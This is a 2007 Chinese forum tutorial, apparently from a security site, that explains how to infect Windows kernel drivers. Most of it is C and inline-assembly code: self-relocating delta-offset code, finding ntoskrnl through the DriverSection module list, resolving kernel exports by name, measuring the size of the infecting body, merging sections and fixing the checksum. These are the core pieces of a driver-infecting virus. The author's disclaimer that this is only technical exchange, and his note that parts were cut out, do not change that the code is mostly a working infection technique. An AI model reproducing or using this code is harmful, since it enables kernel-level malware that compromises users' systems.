-
-
[原创]驱动感染技术扫盲(C描述)
-
发表于:
2007-12-5 19:46
79318
-
驱动感染技术扫盲(C描述)
Writer By 老Y
上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。
好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢?
1、重定位问题
在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:
Start:
call lbl_Next
lbl_Next:
pop ebx
sub ebx, 5
sub ebx, offset Start
要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData]
那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如:
/**
*@brief 取得全局变量或函数重定位后的地址
*
*@param[in] pVar 全局变量或函数的地址
*@return 返回全局变量或函数的实际地址
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
PVOID pCurAddr = NULL;
__asm
{
Start:
call lbl_Next
lbl_Next:
pop eax
sub eax, 5
sub eax, offset Start
add eax, pVar
mov pCurAddr, eax
}
return pCurAddr;
}
访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData);
2、引入表问题
得到ntoskrnl基址
大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下
nt!_DRIVER_OBJECT
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32 Void
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32 Void
+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING
+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH
+0x02c DriverInit : Ptr32
+0x030 DriverStartIo : Ptr32
+0x034 DriverUnload : Ptr32
+0x038 MajorFunction : [28] Ptr32
其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下:
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 Void
+0x04c PatchInformation : Ptr32 Void
DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵
通过遍历这张表得到ntoskrnl的基址和大小,如下
/**
*@brief 根据驱动模块名返回对应的映像基址和映像大小
*
*@param[in] pwszModuleName 驱动模块名
*@param[in] pulModuleSize 返回驱动模块的大小
*@return 返回0表示失败,其它值是驱动模块基址
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)
{
ULONG ulModuleBase = 0;
LIST_ENTRY *Entry = NULL;
LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);
Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
do
{
DataTableEntry = CONTAINING_RECORD(Entry,
LDR_DATA_TABLE_ENTRY,
InLoadOrderLinks);
if (DataTableEntry->EntryPoint &&
DataTableEntry->BaseDllName.Buffer &&
DataTableEntry->FullDllName.Buffer &&
DataTableEntry->LoadCount
)
{
if ( !KWcsNiCmp(
DataTableEntry->BaseDllName.Buffer,
pwszModuleName,
DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
)
)
{
ulModuleBase = DataTableEntry->DllBase;
if (pulModuleSize)
{
*pulModuleSize = DataTableEntry->SizeOfImage;
}
goto Exit0;
}
}
Entry = Entry->Flink;
}
while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);
Exit0:
return ulModuleBase;
}
(注:也可以用上面的方法来枚举已经加载的驱动列表)
通过导出表取得函数地址
/**
*@brief 根据函数名返回函数对应的RVA地址
*
*@param[in] pe PE对象
*@param[in] Name 导出表内的函数名
*@return 返回表示失败,其它值是函数的RVA地址
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
ULONG FuncRVA = 0;
ULONG *puFuncNameAddress = 0;
USHORT *puAddressOfOrd = 0;
ULONG *puAddressOfFunc = 0;
ULONG i = 0;
USHORT Index = 0;
PUCHAR pFuncName = NULL;
ULONG FuncNameRVA = 0;
PROCESS_ERROR(pe->pExportEntry);
puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames + pe->pMap);
puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals + pe->pMap);
puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions + pe->pMap);
for (i = 0; i < pe->pExportEntry->NumberOfNames; i++)
{
Index = puAddressOfOrd[i];
FuncNameRVA = puFuncNameAddress[i];
pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);
if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
{
FuncRVA = puAddressOfFunc[Index];
break;
}
}
Exit0:
return FuncRVA;
}
/**
*@brief 根据内核映像初始一个PE对象
*
*@param[in] Buffer 内核映像基址
*@param[in] uFileSize 内核映像大小
*@param[out] pe PE对象
*@return 返回STATUS_SUCCESS时成功,其它值为失败
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
int nResult = STATUS_UNSUCCESSFUL;
if (!pe)
{
goto Exit0;
}
pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer + pe->pDosHdr->e_lfanew);
pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
pe->pDosHdr->e_lfanew +
pe->pNtHdr->FileHeader.SizeOfOptionalHeader +
0x18 + Buffer
);
pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
);
pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
);
pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
);
pe->IsInitSuccessed = TRUE;
pe->pMap = Buffer;
pe->uMapSize = uFileSize;
nResult = STATUS_SUCCESS;
Exit0:
return nResult;
}
/**
*@brief 根据函数名得到函数的地址,可以理解为GetProcAddress
*
*@param[in] pwszModuleName 驱动模块名
*@param[in] pszFuncName 函数名
*@return 返回表示失败,其它值是函数的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
int nRetCode = FALSE;
ULONG ulApiAddr = 0;
ULONG ulNtosBase = 0;
ULONG ulNtosSize = 0;
KPELIB pe;
ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
if (!ulNtosBase)
{
goto Exit0;
}
nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
if(!NT_SUCCESS(nRetCode))
{
goto Exit0;
}
ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
if (!ulApiAddr)
{
goto Exit0;
}
ulApiAddr += ulNtosBase;
Exit0:
return ulApiAddr;
}
使用示例:
WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe";
CHAR g_ApiName[] = "NtCreateFile";
pFunc = KGetApiAddr(
KGetGlobalVar(g_Ntoskrnl),
KGetGlobalVar(g_ApiName)
);
其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^
3、感染体大小的取得
我的解决方案是:
在所有的代码和数据前面放置KGetStartAddr函数
/**
*@brief 取得当前函数的地址
*
*@return 返回当前函数的地址
*/
ULONG __declspec(naked) KGetStartAddr()
{
__asm
{
call lbl_Next
lbl_Next:
pop eax
sub eax, 5
ret
}
}
在所有的代码和数据前面放置KGetEndAddr函数
/**
*@brief 取得当前函数末的地址
*
*@return 返回前函数末的地址
*/
ULONG __declspec(naked) KGetEndAddr()
{
__asm
{
call lbl_Next
lbl_Next:
pop eax
add eax, 5
ret
}
}
感染体大小= KGetEndAddr() - KGetStartAddr()
4、把.data节和.text节合并
方法:
把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text
5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败
从2000源代码里A出来的,具体看源代码
6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿
声明:
本文的目的不是在教大家怎么写驱动感染病毒,纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关。
源代码说明:
代码被我删除了一些东西,所以不要问我怎么编译通不过,懂得相关技术的人自然很容易补齐,这也是为了防止有人直接A过去干坏事^_^
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课